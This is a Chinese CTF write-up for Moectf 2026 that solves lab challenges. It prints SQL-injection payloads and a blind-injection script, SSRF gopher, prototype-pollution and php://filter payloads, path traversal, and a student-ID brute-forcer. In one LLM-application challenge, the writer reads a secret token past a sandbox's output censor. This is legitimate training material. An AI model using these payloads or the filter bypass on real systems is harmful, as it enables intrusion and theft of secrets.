西电CTF平台——Moectf 2026 WriteUP

从此开始

签到

加入官方赛事QQ群:1033688742,在群里发送/flag 临时用户识别码,临时用户识别码通过右上角头像获取。

2-1 如何连接在线环境?

在github上下载wsrx软件,启动环境直接访问可得到flag。

2-2 如何使用 nc 连接环境?

编写python脚本用nc连接。

python 复制代码
from pwn import *

nc = remote("127.0.0.1", 63820)
nc.interactive()

运行程序之后,进入交互式界面,按照要求输入拼接完的字符串,即可获得flag。

2-3 如何使用 ssh 连接环境?

在命令行输入ssh moeops@127.0.0.1 -p 65521,输入密码后再执行cat /tmp/flag即可。

3-1 C语言环境配置与基础语法

随便找一个在线运行环境,运行一下就知道头文件有问题。

将studio.h修改为stdio.h即可运行成功。

3-2 Python环境配置与基础语法

运行一下程序,flag会在i=103的时候跳出循环打印。

3-4 命令提示符

直接中命令提示符终端运行即可。

3-5 Linux虚拟环境安装与基础命令

ssh连接,flag在/home/student/flag.txt文件中。

策略与博弈

神之泥肘

围棋,第一关将黑子放在S17处即可通过,第二关将白子放在K11处即可通过,第三关将白子放在G5处即可通过。

繁华世界

狂点中间的硬币,直到能够买到车票,就会得到flag。

以撒的出价

随便玩,玩到最后应该都能拿到flag。

大语言模型应用安全

代码面试官

这题需要通过python输出环境变量中SESSION_TOKEN对应的值,但后台做了限制,我们需要绕过。直接让AI生成几个payload。

python 复制代码
print(globals()['SESSION_TOKEN'])
python 复制代码
key = 'SESSION' + '_TOKEN'
print(globals()[key])

运行一下,发现返回的都是[CENSORED],说明读取值的时候被沙箱做了屏蔽。

需要更进一步绕过,经过尝试,如下语句可以成功读到flag。

python 复制代码
s = globals()["SESSION"+"_TOKEN"]
[print(i) for i in s]

如果上述语句没读到,多尝试几次就可以了。

取证与安全杂项

Misc入门指北

pdf最下面有一段看不见的文本,直接选中复制出来。

得到一串二进制。

复制代码
01101101 01101111 01100101 01100011 01110100 01100110 01111011 01010111 00110011 00110001
01100011 00110000 01101101 01100101 01011111 00110111 01101111 01011111 01101101 00110001

二进制转字符串拿到flag。

ez_BASE

直接逆序进行base64解码即可。

python 复制代码
import base64

strs = "=0HN2U0cAJ2XudHMut2XzYHQo9Vdwk1emR3Yl9Wb"
print(base64.b64decode(strs[::-1].encode()))

ez_LSB

将图片放到kali中,用zsteg命令获取隐藏的文本bW9lY3Rme2M0N19rTjBXNV9MU0J9。

base64解码后获取flag。

星走路的旅程-level1

用exiftool命令查看图片的属性,可以获取拍摄时间、拍摄地点、手机厂商。

AI搜索一下当前照片拍摄点附近的机场只有贵阳龙洞堡国际机场,IATA代码为KWE。

拍摄时间转为格林尼治标准时间为0203。

故完整的flag为moectf{KWE_XIAOMI_0203}。

空白文档

打开文档,有隐藏文字,将word设置一下就可以看见。

word中全部内容如下。

需要进行异或运行,编写脚本。

python 复制代码
import base64

def xor_decrypt_b64(cipher_b64, key):
    cipher_bytes = base64.b64decode(cipher_b64)
    key_bytes = key.encode()
    return bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(cipher_bytes)])

cipher = "AgkDChcDFBEOWhEAMFcVNg4cMABXXQQY"
key = "office"
result = xor_decrypt_b64(cipher, key)
print(result.decode())

运行得到flag。

Polyglot

附件中有6中不同语言写的代码。

复制代码
#! /usr/bin/env ruby 			    
#|	
x=""""     		    	
puts"\160\141\162\164\064\072\040\143\171\163\067\064\137\154\164\147\137\137\147\060\063\012"	
     			  	 
	
     			 	  
	
     		 			
	
     			 	 
	
     	     
	
     				 		
	
     		    
	
     			 	 	
	
     		 	  
	
     			  		
	
     		  		
	
     		 		 	
	
     			    
	
     			 	  
	
     		 			 
	
     		 			 
	
     	 					
	
     	 					
	
     	 	 
	
  

__END__
BEGIN { printf "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 112,97,114,116,51,58,32,101,108,49,95,117,110,49,99,121,115,55,52,95,108,10 }
echo -e "\0160\0141\0162\0164\0062\0072\0040\0157\0060\0137\0041\0147\0061\0146\0145\0154\0061\0137\0165\0156\0061"; { exit 0; }
#!perl
{ print pack("C*", 112,97,114,116,53,58,32,116,103,95,95,103,48,51,102,108,102,108,51,110,125,10); exit; }
__END__
# |#
(display "\x70;\x61;\x72;\x74;\x36;\x3a;\x20;\x66;\x6c;\x66;\x6c;\x33;\x6e;\x7d;\x7b;\x30;\x75;\x34;\x73;\x33;\x0a;")
#|
#define z /* """ # */
exec(chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(39)+chr(112)+chr(97)+chr(114)+chr(116)+chr(49)+chr(58)+chr(32)+chr(109)+chr(112)+chr(116)+chr(110)+chr(110)+chr(95)+chr(95)+chr(111)+chr(48)+chr(95)+chr(33)+chr(103)+chr(49)+chr(102)+chr(39)+chr(41))
# |#

对每个进行拆分:

(1)Ruby:结果为part4: cys74_ltg__g03

puts"\160\141\162\164\064\072\040\143\171\163\067\064\137\154\164\147\137\137\147\060\063\012"

(2)C:结果为part3: el1_un1cys74_l

printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 112,97,114,116,51,58,32,101,108,49,95,117,110,49,99,121,115,55,52,95,108,10);

(3)Shell:结果为part2: o0_!g1fel1_un1

echo -e "\0160\0141\0162\0164\0062\0072\0040\0157\0060\0137\0041\0147\0061\0146\0145\0154\0061\0137\0165\0156\0061"

(4)Perl:结果为part5: tg__g03flfl3n}

print pack("C*", 112,97,114,116,53,58,32,116,103,95,95,103,48,51,102,108,102,108,51,110,125,10)

(5)十六进制:结果为part6: flfl3n}{0u4s3

(display "\x70;\x61;\x72;\x74;\x36;\x3a;\x20;\x66;\x6c;\x66;\x6c;\x33;\x6e;\x7d;\x7b;\x30;\x75;\x34;\x73;\x33;\x0a;")

(6)Python:结果为part1: mptnn__o0_!g1f

exec(chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(39)+chr(112)+chr(97)+chr(114)+chr(116)+chr(49)+chr(58)+chr(32)+chr(109)+chr(112)+chr(116)+chr(110)+chr(110)+chr(95)+chr(95)+chr(111)+chr(48)+chr(95)+chr(33)+chr(103)+chr(49)+chr(102)+chr(39)+chr(41))

发现part之间有重复的部分,将重复的删去,根据顺序拼接一下,得到mptnn__o0_!g1fel1_un1cys74_ltg__g03flfl3n}{0u4s3。

再进行一次栅栏解码,获得flag。

ez_BASE_revenge

多重base家族解码,base100->base64->base58->base32。

你会git吗?

根据题目就知道这道题是git隐写。执行git reflog查看所有操作记录。

执行git show commit-id查看每一步的内容。

看到提示了,flag存放在git端暂存区。执行git ls-files --stage命令。

有flag.txt了,执行git show :flag.txt查看内容。

进行base64解码提交。

半部电台

打开音频听一下,就能知道是电台解码了。下载RX-SSTV软件和配套的虚拟声卡。下载完成之后,对RX-SSTV进行配置,选中Setup中的Sound Control and Devices选项。

将播放的默认设备选择为Speaker,录制的默认设备选择为Line in。

勾选右侧的AFC、LMS、BPF进行降噪优化。

选中Robot36模型,播放音频开始监听,音频播放完成之后出现flag。

星走路的旅程-level2

从图片中可以看到有三家店铺,分别是爷爷不泡茶、熊喵来了火锅、刘一手重庆火锅。

直接问AI哪些商场的顶楼同时有这三家店铺。

给出备选答案,到美团搜索一下海州万达广场,确认同时拥有上述三家店。

看下海州万达广场的地址为江苏省连云港市海州区凌州东路 7 号‌,故flag为moectf{JIANGSU_LIANYUNGANG_LINGZHOUDONGLU}

霜雪千年

压缩包嵌套循环,且压缩包的格式包含zip、tar.gz、7z等多种,需要编写脚本进行解压。

python 复制代码
import os
import patoolib

SUPPORT_EXT = {".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".tgz", ".tbz2", ".iso"}

def extract_once(root_dir, del_origin):
    has_archive = False
    for dirpath, _, filenames in os.walk(root_dir):
        for fname in filenames:
            full_path = os.path.join(dirpath, fname)
            ext = os.path.splitext(fname.lower())[-1]
            if ext not in SUPPORT_EXT:
                continue
            has_archive = True
            try:
                print(f"\n正在解压:{full_path}")
                patoolib.extract_archive(full_path, outdir=dirpath, interactive=False)
                print(f"✅ 解压完成")
                if del_origin:
                    os.remove(full_path)
                    print(f"🗑️ 删除原包:{fname}")
            except Exception as e:
                print(f"❌ 解压失败【{fname}】,保留文件,错误:{str(e)}")
    return has_archive

def recursive_extract(root_dir, del_origin=True):
    # 循环多次扫描,直到本轮找不到任何压缩包
    while extract_once(root_dir, del_origin):
        print("\n🔁 本轮存在压缩包,继续扫描解压...")
    print("\n✅ 全部嵌套压缩包处理完毕!")


if __name__ == "__main__":
    TARGET_FOLDER = r"压缩包所在目录"
    DELETE_SOURCE = True
    if os.path.isdir(TARGET_FOLDER):
        recursive_extract(TARGET_FOLDER, DELETE_SOURCE)
    else:
        print("目录不存在!")

运行完成之后得到flag.txt文件。

结合题目,猜测是snow隐写,在kali中使用stegsnow目录先无密码破解。

解出来不对,需要用密码。试了几个,霜雪千年可以解密得到不是乱码的明文。

复制代码
o@a,tsp nyset teagattsare 2tept anns
Siao  ahns
sh gya9pg igs ihx 

星走路的黑历史

搜索QQ号,在个性签名中拿到一部分flag和提示。

星走路的旅程-level3

查看图片属性,为2026年4月27号所拍。

查看图片,可以得知对面那架飞机是中国东方航空。在尾翼上可以模糊的看到B-*376的字样。

上航班查询根据飞机进行筛选,经过尝试,只有B-6376符合。

查看2026年4月份的航班。

根据图片拍摄的时间定位到2026年4月27号,筛选当天所有的航班。

照片拍摄时间为13点29分,此时飞机还没起飞,只有航班号为MU2137符合。

故flag为moectf{XIY_MU2137_FOC}

西复问答

第一个问题:

第二个问题:

第三个问题:西电湖人的发生时间可以直接百度或者直接问AI,就可以得到发生时间为20230911。

开发与运维基础

当 Nginx 不在家

ssh连接远程环境,题目中提到有一位神秘的访客在敲击3000端口,利用nc命令监听3000端口,可以得到回显内容。

将回显内容拼接就是flag。moectf{WEb_sERvER-ProvIDe-reLI@bL3-5eRviCE-F0r-th3-wORLd0}

网站日志取证大师

第一个问题:本日志中所有 IP 一共向/wp-json/wp/v2/users/me路由枚举了多少个不同用户名?(使用阿拉伯数字整数,不带前缀零,不算空白请求),在日志中搜索该路由,将第二个字段有值的记录下来。共有11个用户名:asq、ahu、\xE6\x9E\x97\xE6\x9E\x97、xxx、linlinzzo、foobar、deqaz、aabbcc、bbccdd、ccddff、ddffee

第二个问题:185.177.72.68这个 IP 使用什么工具(名称/版本号,请以 User-Agent 原始内容为准)对网站进行扫描?,直接搜下该IP,就知道用的是curl/8.7.1。

第三个问题:在日志记录的这段时间里一共扫描了多少次?,搜下185.177.72.68在日志中出现的次数为2214。

第四个问题:在 08/Jul/2026:00:08:07 +0800 左右,该 IP 在探测哪一个漏洞是否可利用(CVE漏洞编号)?,搜索下该时间,可以知道在访问一个叫/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php的路径,上网搜索一下就知道CVE编号为CVE-2017-9841。

第五个问题:扫描的起止时间为?,搜索一下IP,最早是从07/Jul/2026:23:52:16 +0800开始,到08/Jul/2026:00:08:08 +0800结束,根据题目要求,该部分为235216-000808。

五部分拼接起来就是flag:moectf{11-curl/8.7.1-2214-CVE-2017-9841-235216-000808}。

Web安全与渗透测试

查分系统

直接查看源代码,搜索moectf就能拿到flag。

Web 安全与渗透测试入门指北

打开html文件,查看源代码,获得flag。

归途

F12,查看网络数据包,拿到key3。

提示url参数,将id=3改为id=4,拿到key4和key5。

提示需要用POST方式访问数据包,拿到key6。

查看页面源代码,拿到key2。

在控制台拿到key1。

拿到key6后,提示我们可以尝试登录,在url后面拼接/login路径,找到登录界面。

先用页面上提供的用户名和密码登录,让我们用admin账户登录。

但是将上面所有的key都尝试了一遍,全都不是密码。用burp抓取一下登录包,发现是个重定向。

有一个设置cookie的字段,他让我们用admin账户登录,那我们直接在请求包中加上这个cookie,再次访问。

跟随重定向,拿到key7。

又拿到提示,有一个文件限制了爬虫可以访问的内容,很明显是robots.txt,访问一下,拿到flag的地址。

访问一下,将上述7个key进行base64解码后,填入即可拿到flag。

7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9

古籍翻阅

访问地址,随机点击一本书,看到url中的参数和附件中给出的地址一致。

用burp对所有的参数都访问一遍,只有true_file有正常回显。

提示我们flag在根目录下,大概率参数存在目录遍历漏洞。burp尝试,两层穿透。

河湖小盗

根据题目内容,明显知道是sql注入漏洞。先输入1和2都可以正常回显。

在输入2-1,回显的是1的内容,说明存在数字型注入漏洞。

判断列数,1 order by 3正常,1 order by 4错误,存在3列。

执行1 union select 1111,2222,3333,三个字段都可以回显。

执行1 union select 1111,2222,database()拿到数据库名为past_paper。

执行1 union select 1111,2222,table_name from information_schema.tables where table_schema=database()拿到数据库中有flag_table、past_paper、public_subjects三张表。

执行1 union select 1111,2222,column_name from information_schema.columns where table_schema=database() and table_name='flag_table'拿到flag_table表中有flag、id两个字段。

执行1 union select 1111,2222,flag from flag_table拿到flag。

熊出没

访问地址,明显的ssrf漏洞,需要让服务器端去帮我们请求54321端口。

随便输入点内容,有提示用gopher协议。

构造payload:gopher://127.0.0.1:54321/_,拿到/secret-honey路径。

将路径拼接上去,完整payload:gopher://127.0.0.1:54321/_secret-honey,成功拿到flag。

合乎周礼

访问给出4个接口。

第一个接口/api/help,提示我们只有isAdmin=true 且 canReadFlag=true 时返回 FLAG。

第二个接口/api/me,返回的是当前用户状态。

第三个接口/api/profile,用于提交用户状态。

第四个接口/api/flag,当isAdmin=true 且 canReadFlag=true时就可以得到flag。

本题的关键点:

  • 接口:POST /api/profile 接收 JSON 配置,用来更新用户配置
  • /api/flag 需要 isAdmin=true 且 canReadFlag=true (继承属性,inheritedProbe读取的是原型链属性,不是对象自身属性)
  • /api/me 返回:inheritedProbe.isAdmin:null、inheritedProbe.canReadFlag:null,null代表对象本身没有这两个属性,会去**原型链 (Object.prototype)**查找。
  • 漏洞:POST /api/profile后端做对象合并(merge),存在原型链污染 ,通过__proto__向Object.prototype写入属性,所有对象都会继承这两个属性。

故本题的payload:{ "__proto__": { "isAdmin": true, "canReadFlag": true } }

七狗免费小说

题目内容提示这题需要用到php伪协议,先访问一下,可以看到file参数可以利用。

利用php伪协议读取,发现convert和string两个关键函数被后台过滤了。

再寻找其他办法,可以用zlib压缩过滤器读取。payload:php://filter/read=zlib.deflate/resource=flag.php

页面显示一长串字符串,说明读取到了内容,编写脚本对其进行解码。

python 复制代码
import base64
import zlib

b64_data = "lZBNTsJQFIXnrKJpnDZAGv5iLTP3IfU9McFAxJHGRKyItULVEK2kRiFKASNFE2NTWt3Mu6/PUbdguwMdnNG559wvRyo3qo3UCq5tbHFrHL9TR8oePsDFLM7lCzkhlxUzQiaPkFAobSqCKCJcKhSVvILRIb+aQkq1zvHrSRgWb2BNiHv+cz+K/AswZtTSWGtGzV44OCGeR7UuU4PQ0pndkiq7MmhT4uqxB5pN1XbkP8CTTcfH1HSkpsxGL7Aw4GwJlyrtacQ7ldJNmQQWO2pD65N2run7kPa/Yoh0mmPfd3T+QW868HqbfAussD9JEEyH2WMwrrj92naFg54e+tOYjgSPYDhk+UzcbjgfwlyN/EFSFI/xF/3ntCynfgE="

raw_compress = base64.b64decode(b64_data)
# raw deflate解压
res = zlib.decompress(raw_compress, -zlib.MAX_WBITS)
print(res.decode("utf-8"))

运行直接拿到flag。

江洋大盗

河湖小盗的升级版,过滤了一堆关键函数,但是这题还是可以用布尔盲注来做。

先判断数据库的长度:1 and length(database())=5,用burp爆破,得出数据库长度为10。

再得出数据库的名字:1 and ascii(substr(database(),1,1))=106。将得到的ascii码112、97、115、116、95、112、97、112、101、114转换一下得到past_paper。

再判断数据表名称的长度:1 and length((select table_name from information_schema.tables where table_schema='past_paper' limit 0,1))=5,得到数据表名称长度为10。

再得出数据表的名称:1 and ascii(substr((select table_name from information_schema.tables where table_schema='past_paper' limit 0,1),1,1))=107。将得到的ascii码102,108,97,103,95,116,97,98,108,101转换一下得到flag_table。

再得出数据表字段名称的长度:1 and length((select column_name from information_schema.columns where table_schema='past_paper' and table_name='flag_table' limit 1,1))=5,得到数据表长度为4。

再得出字段名称:1 and ascii(substr((select column_name from information_schema.columns where table_schema='past_paper' and table_name='flag_table' limit 1,1),1,1))=101。将得到的ascii码102,108,97,103转换一下得到flag。

再判断flag字段第一条记录的长度:1 and length((select flag from flag_table limit 0,1))=7,得到第一条记录长度为74。

最后需要得出flag字段第一条记录的内容。由于这里爆破量巨大,所以这里采用编写python脚本的方法来实现。

python 复制代码
import requests
import time

url = "http://127.0.0.1:59772/"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:154.0) Gecko/20100101 Firefox/154.0"
}
for i in range(1, 75):
    for j in range(1, 220):
        temp = f"id=1 and ascii(substr((select flag from flag_table limit 0,1),{i},1))={j}"
        resp = requests.post(url, headers=headers, data=temp)
        if b"\xe6\xb2\xa1\xe6\x9c\x89\xe6\x89\xbe\xe5\x88\xb0\xe5\x8c\xb9\xe9\x85\x8d\xe8\xae\xb0\xe5\xbd\x95\xe3\x80\x82" not in resp.content:
            print(chr(j), end="")
            break
        time.sleep(0.3)

运行完得到flag:moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}。

我爱发明

这题前面两关都很好过,最后一关受到时间的限制通过人工的方式肯定是行不通了,必须通过脚本的方式。

先写一版初始的脚本。

python 复制代码
import requests
import re

pattern = '<p>验收片段:<code class="inspection-code" data-code="(?P<code>.*?)"'
code_dict = dict()
sess = requests.session()
headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Edg/151.0.0.0"
}
first_url = "http://127.0.0.1:65510/api/stage1"
first_data = {
    "parts": "B-17 S-09 T-04"
}
first_resp = sess.post(first_url, headers=headers, data=first_data)
print(first_resp.text)
second_url = "http://127.0.0.1:65510/api/stage2"
second_data = {
    "tuning": "860/73/Ⅲ/2.4"
}
second_resp = sess.post(second_url, headers=headers, data=second_data)
print(second_resp.text)
third_url = "http://127.0.0.1:65510/stage/3"
third_resp = sess.get(third_url, headers=headers)
# print(third_resp.text)
fourth_url = "http://127.0.0.1:65510/archive?page="
for i in range(1, 25):
    temp_fourth_url = fourth_url + str(i)
    fourth_resp = sess.get(temp_fourth_url, headers=headers)
    for j in range(1, 13):
        print((i-1)*12+j)
        temp_fifth_url = "http://127.0.0.1:65510/invent/"+str((i-1)*12+j)
        fifth_resp = sess.get(temp_fifth_url, headers=headers, verify=False)
        if "未盖章" not in fifth_resp.text:
            # print(fifth_resp.text)
            code = re.search(pattern, fifth_resp.text)
            code_dict[(i-1)*12+j] = code.group("code")

print(code_dict)

运行一下,会发现访问到第60个左右的时候由于倒计时结束了,无法访问。出现这样的原因是因为当前脚本是串行访问的,消耗的时间很长,需要采用异步请求的方式。经过多次尝试最终脚本如下。

python 复制代码
import re
import asyncio
import aiohttp
import requests
import hashlib
from functools import wraps

# -------------------------- 配置 --------------------------
pattern = r'<p>验收片段:<code class="inspection-code" data-code="(?P<code>.*?)"'
code_dict = dict()

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Edg/151.0.0.0"
}
BASE_URL = "http://127.0.0.1:65510"
CONCURRENCY = 35
RETRY_TIMES = 1  # 网络出错重试1次
SINGLE_TIMEOUT = aiohttp.ClientTimeout(total=8)

# -------------------------- 生成需要并发请求的 invent id列表 --------------------------
invent_ids = []
for i in range(1, 25):
    for j in range(1, 13):
        real_id = (i - 1) * 12 + j
        invent_ids.append(real_id)
print(f"待请求invent总数: {len(invent_ids)}")


# 异步重试装饰器:只对 ERR 网络错误重试;业务返回None不重试
def async_retry(max_retry: int):
    def decorator(func):
        @wraps(func)
        async def wrapper(*args, **kwargs):
            attempt = 0
            while attempt <= max_retry:
                res = await func(*args, **kwargs)
                inv_id, val = res
                # ERR开头代表网络异常才重试;val=None是业务正常无数据,不重试
                if not (isinstance(val, str) and val.startswith("ERR:")) or attempt >= max_retry:
                    return res
                attempt += 1
            return res
        return wrapper
    return decorator


# -------------------------- aiohttp 并发请求函数 --------------------------
@async_retry(max_retry=RETRY_TIMES)
async def fetch_invent(session: aiohttp.ClientSession, inv_id: int):
    url = f"{BASE_URL}/invent/{inv_id}"
    try:
        async with session.get(url, headers=headers, timeout=SINGLE_TIMEOUT, verify_ssl=False) as resp:
            text = await resp.text()
            if "未盖章" not in text:
                match = re.search(pattern, text)
                if match:
                    return (inv_id, match.group("code"))
            return (inv_id, None)
    except Exception as e:
        return (inv_id, f"ERR:{str(e)}")


async def main(cookies):
    connector = aiohttp.TCPConnector(limit=CONCURRENCY, ttl_dns_cache=300)
    async with aiohttp.ClientSession(connector=connector, cookies=cookies) as aio_sess:
        tasks = [fetch_invent(aio_sess, inv_id) for inv_id in invent_ids]
        results = await asyncio.gather(*tasks)

    # 回填字典
    for inv_id, val in results:
        if val is not None and not (isinstance(val, str) and val.startswith("ERR:")):
            code_dict[inv_id] = val
    return code_dict


if __name__ == "__main__":
    import time
    start_time = time.time()

    # -------------------------- 前置接口(必须串行执行,业务依赖) --------------------------
    sess = requests.session()

    # stage1
    first_url = f"{BASE_URL}/api/stage1"
    first_data = {"parts": "B-17 S-09 T-04"}
    first_resp = sess.post(first_url, headers=headers, data=first_data)
    print("[stage1]", first_resp.text)

    # stage2
    second_url = f"{BASE_URL}/api/stage2"
    second_data = {"tuning": "860/73/Ⅲ/2.4"}
    second_resp = sess.post(second_url, headers=headers, data=second_data)
    print("[stage2]", second_resp.text)

    # stage3
    third_url = f"{BASE_URL}/stage/3"
    third_resp = sess.get(third_url, headers=headers)

    fourth_url = f"{BASE_URL}/archive?page=1"
    fourth_resp = sess.get(fourth_url, headers=headers)

    # 将requests的cookies传入aiohttp会话,保持登录状态
    code_dict = asyncio.run(main(sess.cookies))

    sorted_vals = [code_dict[k] for k in sorted(code_dict.keys())]
    result = "|".join(sorted_vals)
    print(result)

    sha256_obj = hashlib.sha256(result.encode("utf-8"))
    hex_hash = sha256_obj.hexdigest()
    print(hex_hash)

    result_url = "http://127.0.0.1:65510/api/finalize"
    result_data = {
        "answer": hex_hash
    }
    res = sess.post(result_url, headers=headers, data=result_data)
    print(res.text)

    cost = time.time() - start_time
    print(f"\ninvent请求总耗时: {cost:.2f}s")

运行得到结果。

查分系统_revenge

查看源代码,有一堆加密后的数据,在下面也有加密的过程。

分析一下代码逻辑:

  1. 常量
  • commonIv:AES‑GCM 解密所用的 IV 向量 base64 字符串;
  • encryptedStudentData:存放 base64 编码后的加密学生数据。
  1. 工具函数
  • b64ToBytes:base64 字符串转 Uint8Array 字节数组;
  • esc:HTML 特殊字符转义,防止 XSS;
  • makeKey:将学号做 SHA‑256 哈希,生成 AES‑GCM 解密密钥;
  1. 解密函数tryDecrypt(record, sid)
  • 以学号作为密码生成 AES 密钥,使用公共 IV,解密加密数据;
  • 解密后解析 JSON,校验返回数据里的学号和输入学号是否一致,不一致抛出异常,返回学生对象。
  1. 主查询函数searchScore()
    • 校验输入必须是 8 位数字学号,格式不对直接报错;
    • 查询按钮置为禁用,防止重复点击;
    • 遍历加密数据集,尝试用当前学号解密;解密成功展示成绩;全部解密失败提示学号错误;
    • finally 块恢复按钮可用状态。

接下来就需要去爆破sid了,编写脚本。

JavaScript 复制代码
const crypto = require("crypto");

/**
 * 尝试用给定学号解密
 * @param {string} sid 8位学号字符串
 * @param cipher
 * @returns {object|null} 成功返回学生对象,失败返回null
 */
function trySid(sid,cipher) {
    // makeKey逻辑:学号utf8 → sha256 → 256位aes密钥
    const key = crypto.createHash("sha256").update(sid, "utf8").digest();
    const commonIvB64 = "bW9lY3RmMjAyNml2";
    const iv = Buffer.from(commonIvB64, "base64");
    const fullData = Buffer.from(cipher, "base64");
    // WebCrypto AES‑GCM:最后16字节是auth tag
    const tag = fullData.subarray(fullData.length - 16);
    const cipherText = fullData.subarray(0, fullData.length - 16);
    try {
        const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
        decipher.setAuthTag(tag);
        let plain = decipher.update(cipherText, null, "utf8");
        plain += decipher.final("utf8");
        const stu = JSON.parse(plain);
        if (String(stu.学号) !== sid) {
            return null;
        }
        return stu;
    } catch (e) {
        // 解密失败、tag校验失败、json解析失败都直接返回null
        return null;
    }
}

/**
 * 暴力遍历示例;完整00000000‑99999999数量巨大,不要直接跑全量!
 * 建议:先限定小范围做实验,例如 10000000~10000100 测试逻辑正确性
 */
async function brute(start, end, cipher) {
    console.log(`开始遍历,范围:${start.toString().padStart(8, "0")} ~ ${end.toString().padStart(8, "0")}`);
    for (let num = start; num <= end; num++) {
        const sid = num.toString().padStart(8, "0");
        const res = trySid(sid, cipher);
        if (res) {
            console.log("\n✅找到匹配!");
            console.log("学号:", sid);
            console.log("数据:", JSON.stringify(res, null, 2));
            return;
        }
        // 每5000次打印进度,方便观察
        if(num % 5000 === 0){
            console.log("已尝试:", sid);
        }
    }
    console.log("该范围内未找到有效学号");
}

// ========== 测试:这里填小范围,千万不要直接写 0,99999999 ==========
const encryptedStudentData = ["kCyxN2+qCfUK3LMzZQzM5UqhVK7pIfstn6iWuR/HRZHnZlJtcw3CqD7IIJZDqxBsM2Oy8FvZ3RrmXFAoxbsYLHWz2pwZkMXrYHWONUrGaqZYqoKBO82Ax/kbIpqFt4tOWLU3KiTrBrKlf1sLlDbu1s3h4oC85VfM7Xo2XDxFJH0ZBoxAZamyCj+Lc3xW7k4esrG/UsOjLeCCkpcULK0uAUyvUlL5L57RmXKregggHfYIHlnL2wWkbxl+MvXBfLN2+g9dg+LNBWqTotnlnZkdyPTLc3Zd7haUKAcm7ZscbKs18FienfeZAoZnpcYy+PERStZsM/lfbiktM2qm9zm2yR5XyprlMiXJHNEwQA+BBmdUYFlKaN5twrGjN8ymc2xUU+nvgYyFrZEzyQn1Dji+0d4HQBqLQ98Vf33zkZL9ScaZIOjcmoIKFjDZ2xm1gwfZjs0Xx72XPSYiNeLbfbIrAAqg187y52EO5GR9T6SSVzd8Q0f+GlkH4Xb5acyksFWz2gniAEKr10fVaDk6LYyzEtTvJKSPR6yZs3vfXumT0nl87JvyIOeo1ID3/QyRMbvXhqPCifLa9NWbQz32rRd+UdiTPgN531aY","d59lTEJCN9NY46flAVfRqDhJDKGTq59ML7DUn/2YgxlVXV/JjlVCA4FUM1W7GMjPFOClKQGXP3bJqLIWflLqhMcCkKPInCdNmzWwTWx/JSxtboDmlUJKJwQuTH+ZBGyXNXtIpxJAPi+dFw0b2k9ol1QuDgqvLKP+6FOHxhh+7JTgdrilDMh8wMah/6aLYFbrVGiIIR1ZNcvKO0xq7WrM4G0Sv4mnmXDmWEjze5BeQrqzEXMNVmQFqlgSAWAnaP1UrZi8uVKa0h5fLxjcDluiuTJNXkPa6HzDqYHLaLZxHlES8CLNBSodto8UCxegdqVB2aZa1WXnm58GoZ3BCXOykBsNc3p0Q1oXq09y3kGfYwe1aN53kOewU/jlkvX8cijbvZgJTYve8BBohAmDUEkBHFverUBIYpLXhnrAr7QcgnfqwazTfKzjGhQ5dyNPXbdWfMfwMA38TMcvHz5JO1uUWtJCLexdmksp7Uh369btR2ACbQazcppfbIqJvgGPYkH9OimronH96WAxwkwtAkUlAE+8RrcHAZfPdm++JMlL/8Za3LbumbSbE5q2zNkHfx6AZHT7TNiblpt9mLbGf1BLaSfbnupgskfrJiEdySlSeK1viSvQ","vq3A1zwnhjYEsFHMOaVmIjtcKGb2prkFXd1q4C3VNVbCjS7CjhX6OgYG3ByRxRiFAeaiFP8V6Ro7nl9zKNLVz80en0LjhJmcmFxY9FXKTwEvv9nNE0Dy04+rYIjZ2j4ozYRxqxRz1giuSTe7TO3WB77OE2PnwA/FkEujuHY5zxv2J4LEd18O+2BrP9DLtWLTIsiQw5O2pQ1Dglbd88/Wgo14kgYPLDHy/Mkj/lrrWmVvKcOu7Jn42HiHgQak4IVpD1ZFiyavpM3/ahMgsWkBE8ZkK+STLhms4Dy3xorHWQqvHShldKA3dZB7wLDbl+9kYta8d6HaVhtT3zpiUDxpLWpkahQ/eNmNeLTaMPttrl0NnoyhzsM5OWvgo9V2RyQ1psJCTny5/Njxk/I9Z8pLJF5vdqA69bILJq0rMkpn61yTaMbzUv260KRJ8DQlQjCRcON/d5hQphbRXDXSpzpv9jU9ls1olLDZrSezLg0EpMMHsxqtZm2gCHZZoxUrGeC7cyiCRr9x9BWEKnQt5Rkg/Aajo/clG9H8q27QG1xXGXMnlDb3VARBLcigiXJKb+nWGSOq14w8QxlY7eZjroaDWu5QAeSWrvGE"
